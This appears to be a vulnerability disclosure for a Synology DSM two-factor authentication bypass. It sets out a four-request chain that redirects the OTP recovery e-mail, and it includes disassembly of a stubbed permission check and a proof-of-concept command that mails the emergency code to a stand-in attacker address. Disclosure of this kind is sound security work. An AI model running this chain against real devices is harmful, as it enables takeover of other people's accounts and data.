< Other articles

Synology DSM 2FA bypass

AuthorAlexandro Sanchez Bach Date2026-08-16

A Synology DSM account OTP recovery e-mail address can be changed with the account password alone, letting an attacker redirect the emergency 2FA code to their own mailbox and log in. Four requests, no session:

  1. otp.cgi action=saveMail rewrites the victim's recovery e-mail to an attacker address, as root.
  2. SYNO.API.Auth login (password only) returns "2FA required" and clears the gate on step 3.
  3. SYNO.Core.OTP.Mail send mails the 6-digit emergency code to the attacker address.
  4. SYNO.API.Auth login with the password and that code gives a full session.

Impact

Preconditions:

Affected products

Further details

otp.cgi is setuid root (-rwsr-x--- root/system) and reachable pre-auth: nginx routes anything containing .cgi to synoscgi ahead of the deny rules, and the CGI's permission check is stubbed to return true (its query.api entry carries no authLevel, and the CheckPermission vtable slot is overridden):

$ objdump -d otp.cgi          # vtable slot +0x18 -> 0x2400
2400: endbr64
2404: mov eax,0x1
2409: ret

action=saveMail rewrites the recovery e-mail:

SYNO.Core.OTP.Mail send (authLevel: 0) then mails a 6-digit emergency code to that address (libsynoOTP.so.c:11861-11863). It is gated by SynoCgiIsPasswdChangedNotLogin, which fails the send with error otp_err_pwd_chg_not_login until a prior password login; a password-only SYNO.API.Auth login returning "2FA required" clears it. pam_syno_otp accepts the emergency code as the second factor, so the final password + code login completes.

Proof of concept

poc.py runs steps 1 to 3. Then log in with the victim's password and the 2FA code delivered to the attacker mailbox.

$ python3 poc.py --url https://nas:5001 --victim-user alice \
      --victim-password 'Passw0rd!' --attacker-mail attacker@evil.tld
[1] rewrite victim recovery e-mail: {"data":{"success":true},"success":true}
[2] password login, clears the emergency-code gate: {"error":{"code":403},...}
[3] mail emergency 2FA code to attacker: {"data":{"success":true},"success":true}

Log in with the victim's password and the 2FA code sent to attacker@evil.tld.